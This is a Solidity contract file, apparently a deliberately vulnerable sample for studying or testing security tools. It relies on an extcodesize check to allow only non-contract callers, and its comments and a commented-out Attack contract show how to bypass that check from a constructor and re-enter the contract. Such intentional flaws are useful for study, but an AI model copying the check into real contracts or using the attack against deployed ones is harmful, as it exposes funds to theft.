-
Notifications
You must be signed in to change notification settings - Fork 12
Expand file tree
/
Copy pathNoCodeCallReturns.sol
More file actions
64 lines (51 loc) · 1.55 KB
/
NoCodeCallReturns.sol
File metadata and controls
64 lines (51 loc) · 1.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// exploiting this is entirely possible.
// 1. call `initialize` from contract while in constructor
// 2. call `trigger` from contract after constructor -> allows for callbacks
pragma solidity 0.7.6;
contract NoCodeCallReturns {
address addr;
function initialize() public {
// call only once to initialize
require(addr == address(0));
address _addr = msg.sender;
uint256 _codeLength;
assembly {
_codeLength := extcodesize(_addr)
}
require(_codeLength == 0, "AAAA sorry humans only");
// addr can never ever be a contract, always EOA!... NOT
addr = _addr;
}
function trigger() public {
require(addr != address(0));
// transfer Ether
uint256 a = address(this).balance;
(bool b, bytes memory data) = addr.call{value: a}("asdf");
// perform some check on the return data.
require(b, "BBBB call failed");
require(data.length == 32, "CCCC not enough return data");
uint256 idata = 0;
assembly {
idata := mload(add(data, 0x20))
}
require(
idata == 0x00010203040506070809,
"DDDD return data check failed"
);
}
receive() external payable {}
constructor() payable {}
}
/*
contract Attack {
NoCodeCallReturns t;
constructor(address payable _target) payable {
t = NoCodeCallReturns(_target);
t.initialize();
}
fallback() external payable {
assert(address(t) != address(0));
t.trigger();
}
}
*/